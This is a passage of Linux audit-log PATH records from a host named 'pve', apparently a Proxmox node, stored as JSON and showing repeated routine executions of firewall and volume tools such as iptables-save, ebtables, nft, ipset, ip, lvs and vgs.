mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925474,"@rawstring":"node=pve type=PATH msg=audit(1781964925.474:63228): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=PATH msg=audit(1781964925.473:63227): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=PATH msg=audit(1781964925.473:63227): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=PATH msg=audit(1781964925.473:63226): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925469,"@rawstring":"node=pve type=PATH msg=audit(1781964925.469:63225): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925469,"@rawstring":"node=pve type=PATH msg=audit(1781964925.469:63225): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925469,"@rawstring":"node=pve type=PATH msg=audit(1781964925.469:63225): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925463,"@rawstring":"node=pve type=PATH msg=audit(1781964925.463:63224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925463,"@rawstring":"node=pve type=PATH msg=audit(1781964925.463:63224): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925456,"@rawstring":"node=pve type=PATH msg=audit(1781964925.456:63223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925456,"@rawstring":"node=pve type=PATH msg=audit(1781964925.456:63223): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925451,"@rawstring":"node=pve type=PATH msg=audit(1781964925.451:63222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925451,"@rawstring":"node=pve type=PATH msg=audit(1781964925.451:63222): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925445,"@rawstring":"node=pve type=PATH msg=audit(1781964925.445:63221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925445,"@rawstring":"node=pve type=PATH msg=audit(1781964925.445:63221): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925438,"@rawstring":"node=pve type=PATH msg=audit(1781964925.438:63220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964925438,"@rawstring":"node=pve type=PATH msg=audit(1781964925.438:63220): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964924278,"@rawstring":"node=pve type=PATH msg=audit(1781964924.278:63219): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964924278,"@rawstring":"node=pve type=PATH msg=audit(1781964924.278:63219): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964924251,"@rawstring":"node=pve type=PATH msg=audit(1781964924.251:63218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964924251,"@rawstring":"node=pve type=PATH msg=audit(1781964924.251:63218): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PATH msg=audit(1781964921.141:63217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PATH msg=audit(1781964921.141:63217): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PATH msg=audit(1781964921.141:63216): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921141,"@rawstring":"node=pve type=PATH msg=audit(1781964921.141:63215): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PATH msg=audit(1781964921.135:63214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PATH msg=audit(1781964921.135:63214): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PATH msg=audit(1781964921.135:63213): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964921135,"@rawstring":"node=pve type=PATH msg=audit(1781964921.135:63212): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PATH msg=audit(1781964916.120:63211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PATH msg=audit(1781964916.120:63211): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PATH msg=audit(1781964916.120:63210): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=PATH msg=audit(1781964916.120:63209): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PATH msg=audit(1781964916.102:63208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PATH msg=audit(1781964916.102:63208): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PATH msg=audit(1781964916.102:63207): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=PATH msg=audit(1781964916.102:63206): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915427,"@rawstring":"node=pve type=PATH msg=audit(1781964915.427:63205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915427,"@rawstring":"node=pve type=PATH msg=audit(1781964915.427:63205): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915424,"@rawstring":"node=pve type=PATH msg=audit(1781964915.424:63204): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915424,"@rawstring":"node=pve type=PATH msg=audit(1781964915.424:63204): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=PATH msg=audit(1781964915.423:63203): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=PATH msg=audit(1781964915.423:63203): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=PATH msg=audit(1781964915.423:63202): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915419,"@rawstring":"node=pve type=PATH msg=audit(1781964915.419:63201): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915419,"@rawstring":"node=pve type=PATH msg=audit(1781964915.419:63201): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915419,"@rawstring":"node=pve type=PATH msg=audit(1781964915.419:63201): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915413,"@rawstring":"node=pve type=PATH msg=audit(1781964915.413:63200): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915413,"@rawstring":"node=pve type=PATH msg=audit(1781964915.413:63200): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915407,"@rawstring":"node=pve type=PATH msg=audit(1781964915.407:63199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915407,"@rawstring":"node=pve type=PATH msg=audit(1781964915.407:63199): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915401,"@rawstring":"node=pve type=PATH msg=audit(1781964915.401:63198): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915401,"@rawstring":"node=pve type=PATH msg=audit(1781964915.401:63198): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915394,"@rawstring":"node=pve type=PATH msg=audit(1781964915.394:63197): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915394,"@rawstring":"node=pve type=PATH msg=audit(1781964915.394:63197): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915388,"@rawstring":"node=pve type=PATH msg=audit(1781964915.388:63195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915388,"@rawstring":"node=pve type=PATH msg=audit(1781964915.388:63195): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915383,"@rawstring":"node=pve type=PATH msg=audit(1781964915.383:63194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915383,"@rawstring":"node=pve type=PATH msg=audit(1781964915.383:63194): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915378,"@rawstring":"node=pve type=PATH msg=audit(1781964915.378:63193): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915378,"@rawstring":"node=pve type=PATH msg=audit(1781964915.378:63193): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915372,"@rawstring":"node=pve type=PATH msg=audit(1781964915.372:63192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915372,"@rawstring":"node=pve type=PATH msg=audit(1781964915.372:63192): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915367,"@rawstring":"node=pve type=PATH msg=audit(1781964915.367:63191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915367,"@rawstring":"node=pve type=PATH msg=audit(1781964915.367:63191): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915362,"@rawstring":"node=pve type=PATH msg=audit(1781964915.362:63190): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915362,"@rawstring":"node=pve type=PATH msg=audit(1781964915.362:63190): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915355,"@rawstring":"node=pve type=PATH msg=audit(1781964915.355:63189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915355,"@rawstring":"node=pve type=PATH msg=audit(1781964915.355:63189): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915348,"@rawstring":"node=pve type=PATH msg=audit(1781964915.348:63188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915348,"@rawstring":"node=pve type=PATH msg=audit(1781964915.348:63188): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915344,"@rawstring":"node=pve type=PATH msg=audit(1781964915.344:63187): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915344,"@rawstring":"node=pve type=PATH msg=audit(1781964915.344:63187): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915341,"@rawstring":"node=pve type=PATH msg=audit(1781964915.341:63186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915341,"@rawstring":"node=pve type=PATH msg=audit(1781964915.341:63186): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=PATH msg=audit(1781964915.340:63185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=PATH msg=audit(1781964915.340:63185): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=PATH msg=audit(1781964915.340:63184): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915336,"@rawstring":"node=pve type=PATH msg=audit(1781964915.336:63183): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915336,"@rawstring":"node=pve type=PATH msg=audit(1781964915.336:63183): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915336,"@rawstring":"node=pve type=PATH msg=audit(1781964915.336:63183): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915330,"@rawstring":"node=pve type=PATH msg=audit(1781964915.330:63182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915330,"@rawstring":"node=pve type=PATH msg=audit(1781964915.330:63182): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915323,"@rawstring":"node=pve type=PATH msg=audit(1781964915.323:63181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915323,"@rawstring":"node=pve type=PATH msg=audit(1781964915.323:63181): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915318,"@rawstring":"node=pve type=PATH msg=audit(1781964915.318:63180): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915318,"@rawstring":"node=pve type=PATH msg=audit(1781964915.318:63180): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915311,"@rawstring":"node=pve type=PATH msg=audit(1781964915.311:63179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915311,"@rawstring":"node=pve type=PATH msg=audit(1781964915.311:63179): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915305,"@rawstring":"node=pve type=PATH msg=audit(1781964915.305:63178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964915305,"@rawstring":"node=pve type=PATH msg=audit(1781964915.305:63178): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964914165,"@rawstring":"node=pve type=PATH msg=audit(1781964914.165:63177): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964914165,"@rawstring":"node=pve type=PATH msg=audit(1781964914.165:63177): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964914132,"@rawstring":"node=pve type=PATH msg=audit(1781964914.132:63176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964914132,"@rawstring":"node=pve type=PATH msg=audit(1781964914.132:63176): item=0 name=\"/sbin/vgs\" inode=265377 